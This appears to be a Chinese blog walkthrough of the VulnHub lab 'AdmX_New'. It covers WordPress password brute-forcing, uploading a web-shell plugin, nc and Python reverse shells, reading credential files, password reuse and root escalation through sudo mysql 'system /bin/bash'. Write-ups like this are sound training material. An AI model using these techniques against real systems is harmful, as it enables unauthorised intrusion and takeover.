AdmX_New
- 写写打靶记录。
- 靶机地址:https://download.vulnhub.com/admx/AdmX_new.7z
- Vulnhub 的靶机都有一个特点,通常导入到 VMware Workstation 时都会获取不到 IP 地址,虽然可以进紧急模式中修改,但是太麻烦了,还是将 Kali 和靶机桥接吧。
信息收集
- 由于将 Kali 与 VulnHub 使用 Virtual Box 仅主机网卡进行了桥接,所以使用 Kali 去扫描靶机。
- 首先查看 Kali IP 地址:
1 | ┌──(root㉿kali)-[~] |
- 扫描当前网段,发现靶机 IP 地址:
1 | ┌──(root㉿kali)-[~] |
- 继续使用 Nmap 扫描端口、开放服务等信息:
1 | ┌──(root㉿kali)-[~] |
- 扫描出 8080 端口的 Web 服务,通常情况下不考虑 SSH 爆破,访问一下 Web 服务:
目录爆破
- 一个十分正常的 Apache 默认页面,使用 dirb 扫描一下站点目录:
1 | dirb http://192.168.56.109/ |
发现一个 WordPress 目录,说明目标可能是由 WordPress 框架搭建的 Web 服务,代理挂到 BurpSuite 上进行查看:
- 注:此处网卡出现问题,网卡连接至 NAT,地址为:192.168.1.139。
1 | dirb http://192.168.1.139/ -p 127.0.0.1:8080 |
- 经过上述操作,发现访问 WordPress 目录时都是 3xx 的页面跳转行为:
BurpSuite 匹配替换
- 通过仔细查找,发现页面上还会去加载另一个 IP 地址资源,当访问 WordPress 页面是,会出现
Connecting to 192.168.159.145
,说明是硬编码写入到页面中:
由于页面资源访问不到,查看后明显是本地资源,就是 IP 地址不对。
这里有两种解决方式:
- 修改靶机 IP 网段(太浪费时间了)
- 使用 BurpSuite 进行 IP 地址替换
依次点击 BurpSuite 中的:
Proxy
Options
找到 Match and Replace(匹配和替换)
点击 Add(两条,一条 Body,一条 Header)
- Type:Response body 、Response header
- Match:192.168.159.145
- Replace:192.168.1.139
- 添加完后,刷新页面即可,页面访问正常(后续操作 BurpSuite 不要关):
框架扫描
- 既然已经知道目标站点是 WordPress,使用 WpScan 扫一下:
1 | wpscan --url http://192.168.1.139/wordpress --proxy http://127.0.0.1:8080 --enumerate |
- 发现存在用户 admin,根据前面目录扫描结果发现了管理员登录页面:
1 | http://192.168.1.139/wordpress/wp-admin |
- 当使用 admin 账号进行测试时,也证实了 admin 账户的存在:
暴力破解
- 使用 wpscan 进行暴力破解,前提需要先找到个好字典,这里使用 Kali 自带的 rockyou.txt:
1 | 解压一下 |
- 经过了漫长的等待,破解出密码:
admin/adam14
,成功进入后台:
- 为了查看方便,将其修改为中文:
插件传马
通常对于 wp 后台有以下几种利用方式:
- 文件上传(只针对特定 wp 版本)
- 模板注入(无法修改页面)
- 插件上传
现在本地编写 wp 插件:
1 |
|
- 由于 wp 接收插件是 zip 格式,需要进行压缩:
1 | ┌──(root㉿kali)-[/tmp] |
- 进行插件上传:
- 插件已被启用,上传之后的访问地址为:
1 | http://192.168.1.139/wordpress/wp-content/plugins/shell.php |
- 尝试是否能够进行命令执行:
1 | http://192.168.1.139/wordpress/wp-content/plugins/shell.php?cmd=phpinfo(); |
- 命令执行成功~,使用蚁剑进行连接(蚁剑安装过程略):
- 连接成功!查找 flag 文件,在
/home/wpadmin
目录下找到了,但是权限不够,需要提权。
MSF Shell 反弹
- 同理,使用 MSF 进行 Shell 反弹:
1 | msfconsole |
- 可以看出,也是使用插件上传的方式获取 Shell。
NC Shell 反弹
通过提权三部曲:
- 内核提权(Linux wp 5.4.0-72-generic #80-Ubuntu SMP Mon Apr 12 17:35:00 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux 内核版本过高)
- Sudo 提权(需要密码)
- SUID 提权(没有符合的文件)
那就只能接着去信息收集了,由于是 WP 框架,很有可能是 LAMP 环境,去翻翻配置文件:
1 | cat /var/www/html/wordpress/wp-config.php |
- 发现了数据库的账号密码:
admin/Wp_Admin#123
,登录一下:
1 | mysql -uadmin -pWp_Admin#123 |
- 结果发现,没啥用,蚁剑反弹的 Shell 没有回显。
- 查看一下靶机是否安装有 NC:
- 发现存在 NC,但是是不带 -e 的版本。用 NC 串联反弹一个 Shell 回来:
1 | 在 Kali 上开启两个 nc 监听 |
Python Shell 反弹
- 反弹成功!但是也不能进行回显,改用 Python 反弹,编写脚本 1.py:
1 | import socket,subprocess,os; |
- 反弹成功!并且可以进行交互,但是还是无法正常登陆 MySQL:
Shell 升级
- 此处需要升级一下 Shell:
1 | 查看一下 Kali 与 靶机 的当前 Shell |
- 开启升级操作:
1 | 1. 修改 Kali Shell 环境为 bash |
- 但是,这种方法不知道为什么,不能用,绝了。
数据库查找
- 但是的但是,经过我的多次尝试,在没回显的情况下,进入数据库在退出还是会有一定的回显:
- 意外之喜,经过多轮尝试,得到信息如下:
1 | show databases; |
- 淦,没卵用,目前已知的密码就俩:adam14、Wp_Admin#123。
密码复用
- 看看密码能不能复用了,查看一下当前靶机的所有用户:
1 | cat /etc/passwd |
- 那就用上面两个密码,切换一下用户:
1 | su wpadmin |
- 结果还真是,查看之前没权限查看的文件:
1 | cat local.txt |
- 得到第一个
flag:153495edec1b606c24947b1335998bd9
。
SUDO 提权
- 用于不是 root 账户,决定再次提权,之前 sudo 密码,现有了:
1 | sudo -l |
- 可以看到在不需要密码的情况下执行
/usr/bin/mysql -u root -D wordpress -p
命令获得的是 root 权限(但其实还是需要密码)。
1 | 输入如下命令,密码随便输 |
- 在 MySQL 5.x 中增加了 system 命令(Linux),简单的符号是 !,从而使 MySQL 可以执行系统的命令,尝试一下:
1 | system id; # uid=0(root) gid=0(root) groups=0(root) |
- 发现可以执行,那就直接切换 Shell:
1 | system /bin/bash; |
- 找到第二个
flag:7efd721c8bfff2937c66235f2d0dbac1
。
注意事项
- 目录扫描容易把 Web 服务扫崩。
- Shell 升级命令解析:https://blog.csdn.net/weixin_46622976/article/details/124446922
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Yongz丶!